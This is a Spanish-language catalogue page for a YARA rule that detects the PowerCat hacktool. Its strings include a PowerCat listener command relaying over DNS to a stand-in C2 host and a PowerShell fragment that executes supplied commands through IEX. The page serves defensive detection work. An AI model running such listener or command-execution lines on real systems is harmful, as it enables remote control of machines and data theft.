YARA · Signature Base (Florian Roth / Nextron)
SIGNATURE_BASE_HKTL_PS1_Powercat_Mar21
Detects PowerCat hacktool
- Autor
- Florian Roth (Nextron Systems)
- Fecha
- 2021-03-02
- Modificada
- 2023-12-05
- Puntuación / Calidad
- 75 / 85
Qué detecta esta regla
Detects PowerCat hacktool
Define 5 patrones (5 de texto, 0 hex, 0 regex).
Resumen generado a partir de los metadatos y la condición de la regla.
Código de la regla
rule SIGNATURE_BASE_HKTL_PS1_Powercat_Mar21 : FILE
{
meta:
= "Detects PowerCat hacktool"
= "Florian Roth (Nextron Systems)"
= "ae3963e8-2fe9-5bc3-bf72-95f136622832"
= "2021-03-02"
= "2023-12-05"
= "https://github.com/besimorhino/powercat"
= "https://github.com/Neo23x0/signature-base/blob/94a1c48d7ab499879287ff611dfe7f9c56376030/yara/apt_hafnium.yar#L84-L103"
= "https://github.com/Neo23x0/signature-base/blob/94a1c48d7ab499879287ff611dfe7f9c56376030/LICENSE"
= "c55672b5d2963969abe045fe75db52069d0300691d4f1f5923afeadf5353b9d2"
= "cbd5c6f7c5b4ed713482588ee4490a2326fe11cfaacfb3bfc6a6d94130a8bc83"
= 75
= 85
= "FILE"
strings:
$x1 = "powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com" ascii fullword
$x2 = "try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}" ascii fullword
$s1 = "Returning Encoded Payload..." ascii
$s2 = "$CommandToExecute =" ascii fullword
$s3 = "[alias(\"Execute\")][string]$e=\"\"," ascii
condition:
uint16( 0 ) == 0x7566 and filesize < 200KB and 1 of ( $x* ) or 3 of them
}
Cadenas (5 patrones)
| Identificador | Tipo | Valor | Modificadores |
|---|---|---|---|
| $x1 | texto | "powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com" | ascii fullword |
| $x2 | texto | "try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}" | ascii fullword |
| $s1 | texto | "Returning Encoded Payload..." | ascii |
| $s2 | texto | "$CommandToExecute =" | ascii fullword |
| $s3 | texto | "[alias(\"Execute\")][string]$e=\"\"," | ascii |
Condición
uint16( 0 ) == 0x7566 and filesize < 200KB and 1 of ( $x* ) or 3 of themEn palabras sencillas (Heurística)
- El archivo debe ocupar menos de 200KB (un límite barato que descarta archivos grandes).
- Deben coincidir al menos 1 patrones de ( $x* ).
- Deben coincidir al menos 3 patrones de la regla.
Prueba esta regla en tu navegador
Arrastra un archivo para escanearlo con esta regla usando YARA-X compilado a WebAssembly. No se sube nada.
Referencias
Hashes de muestras
Hashes de las muestras que el autor lista en los metadatos de la regla (búscalos en tu plataforma de threat intelligence).
- c55672b5d2963969abe045fe75db52069d0300691d4f1f5923afeadf5353b9d2
Licencia y atribución
Autor: Florian Roth (Nextron Systems)
Repositorio de origen: Signature Base (Florian Roth / Nextron) @ 94a1c48d7a
Licencia: Detection Rule License 1.1 (licencia del repositorio)
Obtenida a través de YARA Forge 20260927, que añade a los nombres el prefijo de la fuente y campos meta normalizados.
Id de la regla: ae3963e8-2fe9-5bc3-bf72-95f136622832
Etiquetas:FILE
Reglas relacionadas
- Herramienta ofensivaSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2020-08-09
- Herramienta ofensivaSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2021-09-08
- Herramienta ofensivaSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2022-12-27
- Herramienta ofensivaSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2022-09-15
- Herramienta ofensivaSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2021-03-03
- Herramienta ofensivaSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2020-04-07
- APT / actorSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2022-01-16
- APT / actorSignature Base (Florian Roth / Nextron)· Florian Roth (Nextron Systems)· 2022-01-16